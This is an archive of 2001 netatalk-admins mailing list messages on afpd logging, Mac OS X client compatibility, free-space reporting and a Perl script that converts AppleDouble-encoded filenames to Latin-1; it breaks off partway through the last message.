Content-transfer-encoding: 7bit

Are you using the -d option and piping output to the log?

> From: Thomas Baumann <Thomas.Baumann@morse.com>
> Date: Mon, 6 Aug 2001 08:41:55 +0100
> To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
> Subject: afpd creates too many info-messages in messages file
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 6 Aug 2001 03:59:10 -0400 (EDT)
> 
> Hi there,
> 
> my netatalk (current 1.4.99 from SuSE rpm) is working fine, but
> having set up the facility *.* /var/log/messages in my /etc/syslog.conf
> afpd creates too many info-messages in messages file,
> so that my messages file grows up immense.
> 


From netatalk.administrators-errors@umich.edu  Tue Aug  7 18:04:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23908
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 7 Aug 2001 18:04:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA28362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 7 Aug 2001 18:04:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28342
	for netatalk.administrators-members@umich.edu; Tue, 7 Aug 2001 18:04:35 -0400 (EDT)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA28283
	for <netatalk-admins@umich.edu>; Tue, 7 Aug 2001 18:04:34 -0400 (EDT)
Received: (qmail 7300 invoked by uid 604); 7 Aug 2001 22:04:33 -0000
Received: from unknown (HELO webprojkt.com) (24.183.6.53)
  by morpheus.webprojkt.com with SMTP; 7 Aug 2001 22:04:33 -0000
Message-ID: <3B7065E2.2030103@webprojkt.com>
Date: Tue, 07 Aug 2001 17:04:18 -0500
From: Brice D Ruth <brice@webprojkt.com>
User-Agent: Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:0.9.2) Gecko/20010708
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk Developers List <Netatalk-devel@lists.sourceforge.net>
Subject: dropped connections
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I've been scouring the 'Net for more information on using netatalk w/ 
Mac OS X as a client.  I've found some references to certain versions of 
netatalk working, but nothing definitive.

My question: is there a version of netatalk that works with Mac OS X 
clients?  If so, where can I get this?  If not, what's the problem?

Regards,
Brice Ruth


From netatalk.administrators-errors@umich.edu  Tue Aug  7 18:11:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24217
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 7 Aug 2001 18:11:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA15135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 7 Aug 2001 18:11:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA15110
	for netatalk.administrators-members@umich.edu; Tue, 7 Aug 2001 18:11:32 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA15057
	for <netatalk-admins@umich.edu>; Tue, 7 Aug 2001 18:11:30 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f77MBHY27544;
	Tue, 7 Aug 2001 18:11:18 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Tue, 7 Aug 2001 18:11:17 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Brice D Ruth <brice@webprojkt.com>
cc: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk Developers List <Netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] dropped connections
In-Reply-To: <3B7065E2.2030103@webprojkt.com>
Message-ID: <20010807181038.B27384-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have the CVS version configured with --with-did=last on FreeBSD, and it
works quite well with my 10.0.4 clients.

Joe Clarke

On Tue, 7 Aug 2001, Brice D Ruth wrote:

> I've been scouring the 'Net for more information on using netatalk w/
> Mac OS X as a client.  I've found some references to certain versions of
> netatalk working, but nothing definitive.
>
> My question: is there a version of netatalk that works with Mac OS X
> clients?  If so, where can I get this?  If not, what's the problem?
>
> Regards,
> Brice Ruth
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Tue Aug  7 21:26:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA06979
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 7 Aug 2001 21:26:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA01026
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 7 Aug 2001 21:26:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA01016
	for netatalk.administrators-members@umich.edu; Tue, 7 Aug 2001 21:26:06 -0400 (EDT)
Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA00947
	for <netatalk-admins@umich.edu>; Tue, 7 Aug 2001 21:26:04 -0400 (EDT)
Received: from faxserver ([63.34.212.59]) by mta03.mail.mel.aone.net.au
          with ESMTP
          id <20010808012616.GRAW15218.mta03.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 11:26:16 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15UGyK-0004dP-00
	for <netatalk-admins@umich.edu>; Wed, 08 Aug 2001 10:13:16 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 08 Aug 2001 10:13:16 +1000
Subject: free space calculations both right and wrong
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B796C13B.2404%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

I've a working netatalk system, running TCP/IP. When connecting with a
system 8.0 machine, it reports the correct amount of free space (about 370
Mb) on the shared volume. However, when connecting with a system 8.6
machine, it shows 1.9 GB free--which is incorrect. Thoughts?

Netatalk version 1.4.99-0.20000927.

I also can't seem to find documented in the source tarball what the various
configure switches are and what they do.

TIA
Nigel


From netatalk.administrators-errors@umich.edu  Tue Aug  7 23:57:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA12679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 7 Aug 2001 23:57:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA19421
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 7 Aug 2001 23:57:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19395
	for netatalk.administrators-members@umich.edu; Tue, 7 Aug 2001 23:57:39 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA19305
	for <netatalk-admins@umich.edu>; Tue, 7 Aug 2001 23:57:37 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id NAA21677;
	Wed, 8 Aug 2001 13:57:19 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B70BA18.3D7AA576@arts.usyd.edu.au>
Date: Wed, 08 Aug 2001 14:03:36 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Joe Clarke <marcus@marcuscom.com>
CC: Brice D Ruth <brice@webprojkt.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk Developers List <Netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] dropped connections
References: <20010807181038.B27384-100000@shumai.marcuscom.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms338B758AAC138F911F457831"

This is a cryptographically signed message in MIME format.

--------------ms338B758AAC138F911F457831
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Joe Clarke wrote:
> 
> I have the CVS version configured with --with-did=last on FreeBSD, and it
> works quite well with my 10.0.4 clients.

 I tried this on a Linux server, and I could reliably kernel panic OSX
by trying to copy large files (25Mb Quicktime files) to the server.

 Seem to work with small stuff fine, but large transfers took out the
system.


 Im personally hoping their might be salvation in 10.1 SMB client. It
can then talk to Samba instead :-)

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms338B758AAC138F911F457831
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA4MDgwNDAzMzhaMCMGCSqGSIb3DQEJBDEWBBTo/gFQ
EbR24GTykiJxZIbmEPB65zA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgA71RQezsSQBzLuRp9Qr
BCb1Dbjou4igktyibmCWxN46aeZAMFUCWFR77Ls1unutCfdIu+wB9XVjsMugivQt5lfN4oQA
Vfgsd7kbLebdJ2IDQ6C9pbD263PbOgydLJXSN8huIvaWVmbe8gTcYYIyavr1Aeule28gfq1H
dfcBFiG0
--------------ms338B758AAC138F911F457831--


From netatalk.administrators-errors@umich.edu  Wed Aug  8 00:12:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA13253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 8 Aug 2001 00:12:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id AAA24990
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 8 Aug 2001 00:12:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA24978
	for netatalk.administrators-members@umich.edu; Wed, 8 Aug 2001 00:12:00 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id AAA24894
	for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 00:11:57 -0400 (EDT)
Received: (qmail 6408 invoked from network); 8 Aug 2001 04:10:24 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 8 Aug 2001 04:10:24 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'netatalk-admins'" <netatalk-admins@umich.edu>
Cc: "'Netatalk Developers List'" <Netatalk-devel@lists.sourceforge.net>
Subject: RE: [Netatalk-devel] dropped connections
Date: Wed, 8 Aug 2001 14:10:59 +1000
Message-ID: <000501c11fc0$21eda990$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <3B70BA18.3D7AA576@arts.usyd.edu.au>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

apparently you need to pay for the samba client - you can't use the original
samba (samba.org)?

-----Original Message-----
From: matthew@plato.arts.usyd.edu.au
[mailto:matthew@plato.arts.usyd.edu.au]On Behalf Of Matthew Geier
Sent: Wednesday, 8 August 2001 14:04
To: Joe Clarke
Cc: Brice D Ruth; netatalk-admins; Netatalk Developers List
Subject: Re: [Netatalk-devel] dropped connections


Joe Clarke wrote:
>
> I have the CVS version configured with --with-did=last on FreeBSD, and it
> works quite well with my 10.0.4 clients.

 I tried this on a Linux server, and I could reliably kernel panic OSX
by trying to copy large files (25Mb Quicktime files) to the server.

 Seem to work with small stuff fine, but large transfers took out the
system.


 Im personally hoping their might be salvation in 10.1 SMB client. It
can then talk to Samba instead :-)

--
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University


From netatalk.administrators-errors@umich.edu  Wed Aug  8 07:32:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA28434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 8 Aug 2001 07:32:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA22595
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 8 Aug 2001 07:32:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA22585
	for netatalk.administrators-members@umich.edu; Wed, 8 Aug 2001 07:32:40 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA22558
	for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 07:32:39 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHQYQR00.Q8E; Wed, 8 Aug 2001 13:32:51 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B712363.4ED236FE@fcb-wilkens.com>
Date: Wed, 08 Aug 2001 13:32:51 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Torsten Behle <tbehle@fcb-wilkens.com>
Subject: Re: German Umlauts - resolved
References: <3B690FDC.9A0A1F88@fcb-wilkens.com> <p04330105b78ed9d41833@[172.16.172.241]>
Content-Type: multipart/mixed;
 boundary="------------7CA118D609946EEED4B34386"

This is a multi-part message in MIME format.
--------------7CA118D609946EEED4B34386
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all,

thanks to generous and detailed input by folks on-list and off-list,
we have been able to generate a script that recodes file names in 
AppleDouble encoding to file names in latin1-encoding. 
Special thanks go to Thomas Kaiser, who has helped us a lot.

Attached You will find the script latinize.pl, which will do a basic
conversion, without any checks for overwriting existing files that 
bear the new name of the file converted. It went through our 60 Gig 
archive in less than 10 minutes. 17.000 files and folders were renamed.

Ah, yes, consider it GPLed, and use on Your own risk. Testing shows that 
clients don't do too well if the encoding of an appletalk volume is 
changed without restarting the netatalk service.

Regards,
	Harald



-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com
--------------7CA118D609946EEED4B34386
Content-Type: application/x-perl;
 name="latinize.pl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="latinize.pl"

#!/usr/bin/perl -w
#
# written in 2001 by Torsten Behle und Harald Wagener with much input
# by Thomas Kaiser =

#
# latinize.pl - change filenames in apple double format to filenames in =

# latin-1 format. this works if latin1 is  the default encoding on the =

# target platform (true for most linux distros). =

# it works on RedHat and _should_ work on SuSE, but this is not tested.
#
# This script is licensed under the Terms of the GNU GPL, v2.1. If You ar=
e on
# a linux box, numerous copies of the GPL should be found by the command
#
# find / -name COPYING -exec grep -il preamble \{\} \; 2>/dev/null


@target=3D(".", "-", "=7F", "=C4", "=C5", "=C7", "=C9", "=D1", "=D6", "=DC=
", "=E1", "=E0", "=E2", "=E4", "=E3", "=E5", "=E7", "=E9", "=E8", "=EA", =
"=EB", "=ED", "=EC", "=EE", "=EF", "=F1", "=F3", "=F2", "=F4", "=F6", "=F5=
", "=FA", "=F9", "=FB", "=FC", "=A0", "=B0", "=A2", "=A3", "=A7", "=B4", =
"=B6", "=DF", "=AE", "=A9", "=8E", "=82", "=8C", "=AD", "=C6", "=D8", "=8D=
", "=B1", "=B2", "=B3", "=A5", "=B5", "=A6", "=B7", "=B8", "=B9", "=BC", =
"=AA", "=BA", "=BD", "=E6", "=F8", "=BF", "=A1", "=AC", "=92", "=80", "=81=
", "=A8", "=AB", "=BB", "=83", "=BE", "=C0", "=C3", "=D5", "=91", "=93", =
"=D0", "=84", "=96", "=94", "=95", "=90", "=F7", "=D7", "=FF", "=DD", "=98=
", "=97", "=86", "=99", "=DE", "=A4", "=88", "=87", "=89", "=8B", "=8A", =
"=C2", "=CA", "=C1", "=CB", "=C8", "=CD", "=CE", "=CF", "=CC", "=D3", "=D4=
", "=F0", "=D2", "=DA", "=DB", "=D9", "=9B", "=9A", "=85", "=8F", "=9D", =
"=9C", "=9E", "=9F", "=FD", "=FE", "=AF");

@source=3D(":2e", ":2f", ":7f", ":80", ":81", ":82", ":83", ":84", ":85",=
 ":86", ":87", ":88", ":89", ":8a", ":8b", ":8c", ":8d", ":8e", ":8f", ":=
90", ":91", ":92", ":93", ":94", ":95", ":96", ":97", ":98", ":99", ":9a"=
, ":9b", ":9c", ":9d", ":9e", ":9f", ":a0", ":a1", ":a2", ":a3", ":a4", "=
:a5", ":a6", ":a7", ":a8", ":a9", ":aa", ":ab", ":ac", ":ad", ":ae", ":af=
", ":b0", ":b1", ":b2", ":b3", ":b4", ":b5", ":b6", ":b7", ":b8", ":b9", =
":ba", ":bb", ":bc", ":bd", ":be", ":bf", ":c0", ":c1", ":c2", ":c3", ":c=
4", ":c5", ":c6", ":c7", ":c8", ":c9", ":ca", ":cb", ":cc", ":cd", ":ce",=
 ":cf", ":d0", ":d1", ":d2", ":d3", ":d4", ":d5", ":d6", ":d7", ":d8", ":=
d9", ":da", ":db", ":dc", ":dd", ":de", ":df", ":e0", ":e1", ":e2", ":e3"=
, ":e4", ":e5", ":e6", ":e7", ":e8", ":e9", ":ea", ":eb", ":ec", ":ed", "=
:ee", ":ef", ":f0", ":f1", ":f2", ":f3", ":f4", ":f5", ":f6", ":f7", ":f8=
", ":f9", ":fa", ":fb", ":fc", ":fd", ":fe", ":ff");

my %recode;

for (my $count=3D0;$count<=3D$#target;$count++) {
    $recode{$source[$count]} =3D $target[$count];
}


&renamedir(".");


sub renamedir {

  my $currdir =3D shift;
  opendir ( CURRDIR, $currdir ) || die "Can't open it!";

  my @filelist =3D readdir ( CURRDIR );
  my ($oldname,$newname);

  foreach $oldname (@filelist) {
	next if ($oldname eq '.');
	next if ($oldname eq '..');
    if ( -d "$currdir/$oldname") {
       &renamedir("$currdir/$oldname");
    }
    next unless $oldname =3D~ /:/;
    $newname =3D $oldname;
    $newname =3D~ s/(:[0-9a-f]{2})/$recode{$1}/ge;
    rename "$currdir/$oldname", "$currdir/$newname";
    print $newname, "\t", $oldname, "\n";


    =

  }

closedir CURRDIR;

}

--------------7CA118D609946EEED4B34386--


From netatalk.administrators-errors@umich.edu  Wed Aug  8 10:02:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA04250
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 8 Aug 2001 10:02:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA05698
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 8 Aug 2001 10:02:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05689
	for netatalk.administrators-members@umich.edu; Wed, 8 Aug 2001 10:02:22 -0400 (EDT)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA05133
	for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 10:01:50 -0400 (EDT)
Received: (qmail 8824 invoked by uid 604); 8 Aug 2001 14:01:41 -0000
Received: from unknown (HELO webprojkt.com) (24.183.6.53)
  by morpheus.webprojkt.com with SMTP; 8 Aug 2001 14:01:41 -0000
Message-ID: <3B714636.3050706@webprojkt.com>
Date: Wed, 08 Aug 2001 09:01:26 -0500
From: Brice D Ruth <brice@webprojkt.com>
User-Agent: Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:0.9.2) Gecko/20010708
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Matthew Geier <matthew@arts.usyd.edu.au>
CC: Joe Clarke <marcus@marcuscom.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk Developers List <Netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] dropped connections
References: <20010807181038.B27384-100000@shumai.marcuscom.com> <3B70BA18.3D7AA576@arts.usyd.edu.au>
Content-Type: multipart/alternative;
 boundary="------------080304030705070403070006"


--------------080304030705070403070006
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

This isn't good.  My main need for the interaction of a OS X client w/ 
the netatalk server is specifically the transfer of large files.  Samba 
doesn't help in that respect, because I need to transfer the files w/ 
resource information intact, which I can only do w/ netatalk as far as I 
know.

My transition from OS 9.1 to OS X didn't indicate that I no longer 
needed OS 9.1 applications - hence the need for resource information in 
the files.  Photoshop files, Quark files, application installers and the 
like are still needed in Classic.

Is the main compatability problem on the client side?  I read somewhere 
that the commercial Apple File Sharing solutions for Windows NT and UNIX 
do not suffer from the same problems as netatalk.

Brice

Matthew Geier wrote:

>Joe Clarke wrote:
>
>>I have the CVS version configured with --with-did=last on FreeBSD, and it
>>works quite well with my 10.0.4 clients.
>>
>
> I tried this on a Linux server, and I could reliably kernel panic OSX
>by trying to copy large files (25Mb Quicktime files) to the server.
>
> Seem to work with small stuff fine, but large transfers took out the
>system.
>
>
> Im personally hoping their might be salvation in 10.1 SMB client. It
>can then talk to Samba instead :-)
>


--------------080304030705070403070006
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
This isn't good. &nbsp;My main need for the interaction of a OS X client w/ the
netatalk server is specifically the transfer of large files. &nbsp;Samba doesn't
help in that respect, because I need to transfer the files w/ resource information
intact, which I can only do w/ netatalk as far as I know.<br>
<br>
My transition from OS 9.1 to OS X didn't indicate that I no longer needed
OS 9.1 applications - hence the need for resource information in the files.
&nbsp;Photoshop files, Quark files, application installers and the like are still
needed in Classic.<br>
<br>
Is the main compatability problem on the client side? &nbsp;I read somewhere that
the commercial Apple File Sharing solutions for Windows NT and UNIX do not
suffer from the same problems as netatalk.<br>
<br>
Brice<br>
<br>
Matthew Geier wrote:<br>
<blockquote type="cite" cite="mid:3B70BA18.3D7AA576@arts.usyd.edu.au">
  <pre wrap="">Joe Clarke wrote:<br></pre>
  <blockquote type="cite">
